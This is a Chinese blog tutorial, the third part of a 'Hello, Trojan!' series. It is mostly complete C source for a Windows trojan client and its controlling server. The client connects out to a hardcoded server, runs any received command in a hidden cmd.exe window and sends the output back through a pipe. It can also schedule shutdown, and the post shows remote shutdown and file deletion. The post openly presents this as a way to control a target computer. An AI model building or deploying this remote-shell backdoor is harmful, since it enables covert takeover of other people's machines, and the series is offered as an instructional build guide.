木马,你好!(三)管道与远程控制

上一讲的代码还是有点难看,先简单修改一下客户端的代码,将执行命令这一部分专门独立出来。

int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	} else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}

	return 0;
}

这样写会稍微好一点,不过还是提一句,如果有研究过算法的同学,也可以使用 哈希表 来做这个,效果很快很多,而且那样的话多加几个自定义命令也没关系了。

管道 + CMD

用上一讲的办法,我们确实可以在目标计算机上做些什么可是,还远远达不到控制的程度。而且每一次新加一个功能都要去修改代码也不是很方便,有没有一个简单的办法去操控目标计算机又不用写很多代码的?

有一个很好的办法就是操作目标计算机上的 CMD,如果这个功能实现了,那么你能在当前的计算机上用 CMD 做的事情,在目标计算机上也可以做的到了。

当然如果只是简单的使用 CMD ,那其实不用麻烦什么直接用 system(“”) 函数就可以调用 CMD 了在目标计算机执行命令了,但是一个很大的问题就是,我们要如何才能看到目标计算机上 CMD 执行的输出呢?一个很简单的办法就是使用管道。(当然输出流重定向 + system(“”) 也是可以的)

服务端

稍微修改一些地方,将 recvbuf 调大了,不用 scanf 而用 gets (gets可以取一行的字符串)。

#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

void main()
{
	/* ... */
    // 将服务器端socket绑定在本地端口
    bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
    // Listen 监听端口
    listen(sockServer, 5); // 5 为等待连接数目

    printf("服务器已启动:n监听中...n");

	// 等待客户端连接
    sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);

	while (1)
	{
		printf("-- %s: %s n>>", ip, recvBuf);
		gets(cmdStr);

		// 将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);

		// 如果用户输入 exit 则结束循环
		if (strcmp(cmdStr, "exit") == 0)
		{
			break;
		}
		recv(sockClient, recvBuf, 1024, 0);
	}

    closesocket(sockClient);
	WSACleanup();
}

客户端

客户端中,我们使用 CreateProcess 来新建了一个 CMD 进程,接着使用管道,获取到 CMD 执行命令输出的结果,并把这个结果发送到服务端来。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

/**
 * 执行 CMD 命令
 */
int cmd(char *cmdStr, char *message)
{
	DWORD readByte = 0;
	char command[1024] = {0};
	char buf[MSG_LEN] = {0};    //缓冲区

	HANDLE hRead, hWrite;
	STARTUPINFO si;			// 启动配置信息
	PROCESS_INFORMATION pi;	// 进程信息
	SECURITY_ATTRIBUTES sa; // 管道安全属性

	// 拼接 cmd 命令
	sprintf(command, "cmd.exe /c %s", cmdStr);
	// printf("-- CMD 命令: [%s]n", command);

	// 配置管道安全属性
	sa.nLength = sizeof( sa );
	sa.bInheritHandle = TRUE; // 管道句柄是可被继承的
	sa.lpSecurityDescriptor = NULL;

	// 创建匿名管道,管道句柄是可被继承的
	if( !CreatePipe(&hRead, &hWrite, &sa, 1024))
	{
		printf( "管道创建失败! Error: %xn", (unsigned int)GetLastError() );
		return 1;
	}

	// 配置 cmd 启动信息
	ZeroMemory( &si, sizeof( si ) );
	si.cb = sizeof( si ); // 获取兼容大小
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 标准输出等使用额外的
	si.wShowWindow = SW_HIDE;				// 隐藏窗口启动
	si.hStdOutput = si.hStdError = hWrite;	// 输出流和错误流指向管道写的一头

	// 创建子进程,运行命令,子进程是可继承的
	if ( !CreateProcess(
		NULL, 		// 不传程序路径, 使用命令行
		command, 	// 命令行命令
		NULL, 		// 不继承进程句柄(默认)
		NULL, 		// 不继承线程句柄(默认)
		TRUE, 		// 继承句柄
		0, 			// 没有创建标志(默认)
		NULL, 		// 使用默认环境变量
		NULL, 		// 使用父进程的目录
		&si, 		// STARTUPINFO 结构存储启动信息
		&pi ) )		// PROCESS_INFORMATION 保存启动后的进程相关信息
	{
		printf( "创建进程失败! Error: %xn", (unsigned int)GetLastError() );
		CloseHandle( hRead );
		CloseHandle( hWrite );
		return 1;
	}

	CloseHandle( hWrite );

	/*
		管道的 write 端句柄已被 cmd 的输出流和错误流继承,
		即 cmd 输出时会把数据写入管道。
		我们通过读取管道的 read 端,就可以获得 cmd 的输出
	*/
	while (ReadFile( hRead, buf, MSG_LEN, &readByte, NULL ))
	{
		strcat(message, buf);
		ZeroMemory( buf, MSG_LEN );
	}

	//printf("-- [CMD] Message: [%s] Length:%d n", message, strlen(message) + 1);

	CloseHandle( hRead );
	return 0;
}

/**
 * 运行命令
 */
int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	}
	else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}
	else
	{
		// 调用 cmd
		cmd(recvCmd, message);
	}

	return 0;
}

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKET sockClient; // 客户端 Scoket
	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 服务端 IP
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));

		// 从服务端获取命令
		recv(sockClient, recvCmd, MSG_LEN, 0);

		// 发送数据到服务端
		if (strlen(recvCmd) > 0)
		{
			printf("-- 收到命令: [%s]n", recvCmd);

			if ( run(recvCmd, message) )
			{
				break;
			}

			// printf("Message: [%s] Length:%d n", message, strlen(message) + 1);
			send(sockClient, message, strlen(message) + 1, 0);
		}
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

客户端新增了 cmd() 函数,用来执行,并返回。

本地测试

control_client_delete

上述图片是,远程控制目标电脑关机截图。

虚拟机测试

control_client_shutdown_2

在 xp 的虚拟机上测试,关机功能很轻松的可以实现,不过还有一个比较大的问题问题,就是 客户端会在 CreateProcess 之后的 ReadFile 中卡壳了。程序就停在那不动了。这个让人有点小郁闷。原因是因为 readFile 读管道阻塞了。

为了适应这个变化,博主开始编写简单的多线程版本了。

简单的多线程交互

关于线程方面的知识点,没印象的同学可以去看看博主的《Windows API 教程(五) 线程编程》

博主这里也只是简单的加了个多线程上去,各位可以简单的看下。

服务端


#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#pragma comment(lib, "ws2_32.lib")

SOCKET sockClient;     // 客户端 Scoket

DWORD WINAPI ThreadProc (LPVOID lpThreadParameter)
{
	char recvBuf[1024] = {0};    //缓冲区
	int num = 0;
	while (1)
	{
		num = recv(sockClient, recvBuf, 1024, 0);
		if (num > 0)
		{
			printf("Receive:n%sn>>", recvBuf);
			num = 0;
		}
		Sleep(50);
	}
	return 0;
}

void main()
{
    int err; // 错误信息
    int len = sizeof(SOCKADDR);
	DWORD Tid; // 线程 ID

	char  cmdStr[100] = {0};
	char sendBuf[100] = {0}; // 发送至客户端的字符串
	char recvBuf[1024] = {0}; // 接受客户端返回的字符串
	char * ip;

    SOCKET sockServer;     // 服务端 Socket
    SOCKADDR_IN addrServer;// 服务端地址
    SOCKADDR_IN addrClient;// 客户端地址

    WSADATA wsaData;       // winsock 结构体
    WORD wVersionRequested;// winsock 的版本

    // 配置 Windows Socket版本
    wVersionRequested = MAKEWORD( 2, 2 );

    // 初始化 Windows Socket
    err = WSAStartup( wVersionRequested, &wsaData );

    if ( err != 0 )
    {
        // 启动错误,程序结束
        return;
    }

    if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
    {
        // 启动错误,程序结束
        WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
        return;
    }

    // 定义服务器端socket
    sockServer = socket(AF_INET, SOCK_STREAM, 0);
    //  设置服务端 socket
    addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 本机IP
    addrServer.sin_family = AF_INET;                   // 协议类型是INET
    addrServer.sin_port = htons(6000);                 // 绑定端口6000
    // 将服务器端socket绑定在本地端口
    bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
    // Listen 监听端口
    listen(sockServer, 5); // 5 为等待连接数目

    printf("服务器已启动:n监听中...n");

	// 等待客户端连接
    sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
	// 获取ip地址
	ip = inet_ntoa(addrClient.sin_addr);
	// 输出连接提示
	printf("-- IP %s 连接到服务端n", ip);

	// 开启接收消息
	CreateThread(
		NULL,       // 不能被子进程继承
		0,          // 默认堆栈大小
		ThreadProc, // 线程调用函数过程
		NULL,		// 传递参数
		0,          // 创建后立即执行
		&Tid        // 保存创建后的线程ID
	);

	while (1)
	{
		printf(">>");
		gets(cmdStr);

		// 根据输入的不同命令来执行不同的操作
		if (strcmp(cmdStr, "exit") == 0)
		{
			send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
			break; // 如果用户输入 exit 则结束循环
		}
		// 否则将命令发送到客户端
		send(sockClient, cmdStr, strlen(cmdStr) + 1, 0);
	}
    closesocket(sockClient);
	WSACleanup();
}

客户端

发送数据给服务端的时候,其实还有一个要注意的地方,就是不能让数据很快的发过去,因为服务端不一定能很快的接收到。有可能客户端发送了三段数据过去,而由于时间差或者网络延迟,服务端只收到了最后一段。这是多线程导致的一个问题。如果是单线程的你发我收,然后我再发你再收就会安全许多。

#include <Winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

#define MSG_LEN 1024

SOCKET sockClient; // 客户端 Scoket
HANDLE hRead;

void post(char *msg)
{
	send(sockClient, msg, strlen(msg) + 1, 0);
	// printf("-- post: [%s] n", msg);
}

DWORD WINAPI ThreadProc (LPVOID lpThreadParameter)
{
	char buf[2048] = {0};    //缓冲区
	DWORD len = 0;
	// printf("进入子线程, 读取数据n");
	// 读管道内容,并显示
	while (ReadFile( hRead, buf, MSG_LEN, &len, NULL ))
	{
		post( buf );
		ZeroMemory( buf, MSG_LEN );
		Sleep(800);
	}
	CloseHandle( hRead );
	return 0;
}

int cmd(char *cmdStr, char *message)
{
	char command[1024] = {0};
	char buf[MSG_LEN] = {0};    //缓冲区

	HANDLE hWrite;
	STARTUPINFO si;			// 启动配置信息
	PROCESS_INFORMATION pi;	// 进程信息
	SECURITY_ATTRIBUTES sa; // 管道安全属性

	DWORD Tid;

	// 拼接 cmd 命令
	sprintf(command, "cmd.exe /c %s", cmdStr);
	// printf("-- CMD 命令: [%s]n", command);

	// 配置管道安全属性
	sa.nLength = sizeof( sa );
	sa.bInheritHandle = TRUE; // 管道句柄是可被继承的
	sa.lpSecurityDescriptor = NULL;

	// 创建匿名管道,管道句柄是可被继承的
	if( !CreatePipe(&hRead, &hWrite, &sa, 1024))
	{
		printf( "管道创建失败! Error: %xn", (unsigned int)GetLastError() );
		return 1;
	}

	// 配置 cmd 启动信息
	ZeroMemory( &si, sizeof( si ) );
	si.cb = sizeof( si ); // 获取兼容大小
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 标准输出等使用额外的
	si.wShowWindow = SW_HIDE;				// 隐藏窗口启动
	si.hStdOutput = si.hStdError = hWrite;	// 输出流和错误流指向管道写的一头

	// 创建子进程,运行命令,子进程是可继承的
	if ( !CreateProcess(
		NULL, 		// 不传程序路径, 使用命令行
		command, 	// 命令行命令
		NULL, 		// 不继承进程句柄(默认)
		NULL, 		// 不继承线程句柄(默认)
		TRUE, 		// 继承句柄
		0, 			// 没有创建标志(默认)
		NULL, 		// 使用默认环境变量
		NULL, 		// 使用父进程的目录
		&si, 		// STARTUPINFO 结构存储启动信息
		&pi ) )		// PROCESS_INFORMATION 保存启动后的进程相关信息
	{
		printf( "创建进程失败! Error: %xn", (unsigned int)GetLastError() );
		CloseHandle( hRead );
		CloseHandle( hWrite );
		return 1;
	}

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	CloseHandle( hWrite );

	CreateThread(
		NULL,       // 不能被子进程继承
		0,          // 默认堆栈大小
		ThreadProc, // 线程调用函数过程
		hRead,		// 传递参数
		0,          // 创建后立即执行
		&Tid        // 保存创建后的线程ID
	);

	// TODO:: 结束上一次线程

	return 0;
}

int run(char *recvCmd, char *message)
{
	if (strcmp(recvCmd, "test") == 0)
	{
		strcpy(message, "服务端你好,有什么事吗~");
	}
	else if (strcmp(recvCmd, "shutdown") == 0)
	{
		// 执行关机命令,设了个定时关机没直接关
		system("shutdown -s -t 1800");
		strcpy(message, "客户端将在 30 分钟后关闭");
	}
	else if (strcmp(recvCmd, "cancel") == 0)
	{
		// 注销关机命令
		system("shutdown -a");
		strcpy(message, "客户端定时关机已取消");
	}
	else if (strcmp(recvCmd, "exit") == 0)
	{
		return 1;
	}
	else
	{
		// 调用 cmd
		cmd(recvCmd, message);
	}
	return 0;
}

void main()
{
	int err = 0;
	char message[MSG_LEN] = {0};
	char recvCmd[100] = {0};

	SOCKADDR_IN addrServer; // 服务端地址

	WSADATA wsaData;
	WORD wVersionRequested;

	wVersionRequested = MAKEWORD( 2, 2 );

	err = WSAStartup( wVersionRequested, &wsaData );

	if ( err != 0 )
	{
		return;
	}

	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
	{
		// 启动错误,程序结束
		WSACleanup( );
		return;
	}

	// 新建客户端 scoket
	sockClient = socket(AF_INET, SOCK_STREAM, 0);

	// 定义要连接的服务端地址
	addrServer.sin_addr.S_un.S_addr = inet_addr("192.168.1.106"); // 服务端 IP
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 清空字符串
		ZeroMemory(recvCmd, sizeof(recvCmd));
		ZeroMemory(message, sizeof(message));

		// 从服务端获取命令
		recv(sockClient, recvCmd, MSG_LEN, 0);

		// 发送数据到服务端
		if (strlen(recvCmd) > 0)
		{
			printf("-- 收到命令: [%s]n", recvCmd);
			if ( run(recvCmd, message) )
			{
				break;
			}
			// printf("Message: [%s] Length:%d n", message, strlen(message) + 1);
			post(message);
		}
	}
	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

远程删除目标电脑上的文件测试截图:

control_client_delete_2

文章索引

上一讲:木马,你好!(二)最简单的木马
下一讲:木马,你好!(三)管道与远程控制

2 thoughts on “木马,你好!(三)管道与远程控制

    • 哦哦,我明白了,这是由于客户端的多线程导致的。但是这里的客户端接受数据的时候加上了一个多线程有什么用啊???

lokihardt 发表评论 取消回复